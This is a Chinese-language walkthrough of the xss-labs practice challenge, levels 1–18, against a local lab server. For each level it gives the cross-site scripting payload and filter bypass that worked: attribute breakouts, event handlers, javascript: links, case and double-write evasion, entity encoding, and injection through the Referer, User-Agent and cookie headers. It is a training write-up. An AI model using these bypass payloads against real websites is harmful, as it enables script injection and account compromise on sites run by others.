xss_labs
leve1

修改name参数为<script>alert(111)</script>

level2

表单填入<script>alert(111)</script>

失败。
查看源码:

发现输入的内容被包含在value值中,作为文本输出,尝试闭合value:">,最终的payload为:"><script>alert(111)</script>

level3
表单填入<script>alert(111)</script>

失败。
查看源码:

输入的内容被包含在value值中,且<和>被过滤掉了。考虑用onclick点击事件进行触发弹窗,最终的payload为:' onclick=alert(1)//
再点击一下输入框后弹出:

level4

表单填入<script>alert(111)</script>

失败。
查看源码:

输入的内容被包含在value值中,且<和>被过滤掉了。考虑用onclick点击事件进行触发弹窗,最终的payload为:" onclick=alert(1)//
再点击一下输入框后弹出:

level5

表单填入<script>alert(111)</script>

失败。且能发现对script进行了过滤。
查看源码:

考虑用onclick点击事件进行触发弹窗,payload为:" onclick=alert(1)//

失败。对onclick进行了过滤。
考虑用JS伪协议绕过,最终的payload为:"><a href=javascript:alert(111)>test</a>//

level6

表单填入<script>alert(111)</script>

失败。
查看源码:

script被过滤掉了,考虑用onclick点击事件进行触发弹窗,payload为:" onclick=alert(1)//

失败。对onclick进行了过滤。
考虑用JS伪协议绕过,payload为:"><a href=javascript:alert(111)>test</a>//

失败。对href进行了过滤。
尝试大小写script绕过,最终的payload为:"><ScRiPt>alert(111)</ScRiPt>

level7

表单填入<script>alert(111)</script>

失败。
查看源码:

script被过滤掉了,考虑用onclick点击事件进行触发弹窗,payload为:" onclick=alert(1)//

失败。对onclick进行了过滤。
考虑用JS伪协议绕过,payload为:"><a href=javascript:alert(111)>test</a>//

失败。对href进行了过滤。
尝试大小写script绕过,payload为:"><ScRiPt>alert(111)</ScRiPt>

失败。尝试双写script绕过,最终的payload为:"><scrscriptipt>alert(111)</scrscriptipt>

level8

表单填入<script>alert(111)</script>
失败。
查看源码:

输入的内容在a标签里面,href可以自动解码html实体编码,直接编码script中的r

最终的payload为:javascript:alert(111)

level9

JS伪协议绕过,payload为:"><a href=javascript:alert(111)>test</a>//

输入的内容在a标签里面,提示输入的链接不合法。
合法的链接格式至少含有http://,构造payload:javascript:alert(111)//http://

对javascript进行了过滤,由于href可以自动解码html实体编码,直接编码script中的r,最终的payload为:javascript:alert(111)//http://

level10

发现没有可以进行传参的地方,查看网页源代码:

通过input的name来修改type来看是否可以显示文本框,URL添加:t_link" type='text'>//&t_history" type='text'>//&t_sort=" type='text'>//

发现成功显示文本框。
通过网页源代码,看出是t_sort的文本框被弹出:

使用onclick事件" type='text' onclick=javascript:alert(12)//,发现成功绕过

level11

发现没有可以进行传参的地方,查看网页源代码:

t_ref的value变成了第10关的网址,猜到大概率是referer。
通过Burpsuite抓包,手动添加referer,payload是第十关的payload,成功绕过:

level12

发现没有可以进行传参的地方,查看网页源代码:

t_ua有显示版本等信息,于是通过Burpsuit抓包修改User-Agent信息里添加onclick事件:

成功绕过:

level13

发现没有可以进行传参的地方,查看网页源代码:

cookie传参,直接burpsuite抓包,通过修改cookie,构造文本框,使用onclick事件:

成功绕过:

level14

第14关有问题,直接跳过。
level15

发现没有可以进行传参的地方,查看网页源代码:

发现有一个新发现ng-include,ng-include指令用于包含外部的HTML文件。意思是可以打开外部的网页文件。
如果输入第一关的路径,就可以跳转到第一关,输入第一关的过关信息即可成功,构造'level1.php?name=<script>alert(111)</script>':

查看源码发现<和>被转义了。使用img标签,构造最终的payload:'level1.php?name=<img src=1 onerror=alert(111)>'

level16

发现没有可以进行传参的地方,查看网页源代码:

输入' " < > script onclick看看过滤了什么,发现过滤了" ' script 还有空格。
可以用a标签onclick事件绕过,空格用换行符%0a替代<a%0Aonclick=alert(1)>111</a>
成功绕过:

level17
17-20关需要在Flash环境下才能完整复现,但Firefox没有Flash

没有可以进行传参的地方,查看网页源代码:
发现有embed标签,<embed>标签定义了一个容器,用来嵌入外部应用或者互动程序。
火狐浏览器复现:在Firefox里:+无可用 plugin→元素被创建,但不会触发onload/onerror/鼠标事件
Level17 并不要求必须用 触发事件,它只要求你打破属性并注入可执行 HTML。
Firefox中可稳定触发的事件是onfocus + tabindex。
payload应该为:tabindex=1 onfocus=alert(111) x=
URL编码后为:%60%20tabindex=1%20onfocus=alert(111)%20x=%60
完整的URL:http://192.168.137.137/xss_labs/level17.php arg01=%60%20tabindex=1%20onfocus=alert(111)%20x=%60
然后在页面中按一下Tab键(焦点会落到 embed 上),立刻触发XSS → "完成的不错!"

在其他浏览器中可使用onclick或onmouseover进行绕过。
level18
查看源码:

在火狐浏览器的唯一可行解法:完全绕过Flash,用HTML注入触发window.alert()
这段代码:
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
}
也就是说:只要能执行一次alert(),就直接跳关。而embed里是这样拼的:<embed src=xsf02.swf?a=b ...>
可以用Level17的同样思路——属性逃逸。
Firefox 稳定 Payload(Level18):
URL 里加参数(Flash 原本用的):?arg01=...
但真正拼接发生在swf的参数里,所以要注入到:xsf02.swf?[你的输入]
payload 用反引号逃逸:` onload=alert(1) x=`
URL 编码:%60%20onload=alert(1)%20x=%60
完整 URL:http://192.168.137.137/xss_labs/level18.php?arg01=%60%20onload=alert(111)%20x=%60
最终 HTML 变成:<embed src=xsf02.swf? onload=alert(111) x= width=100% heigth=100%>
Firefox 解析为:
<embed
src="xsf02.swf?"
onload="alert(111)"
x="="
width="100%"
heigth="100%">
即使Flash不存在,alert(111) 会被执行→被重写成"完成的不错!"→自动跳转Level19。

浙公网安备 33010602011771号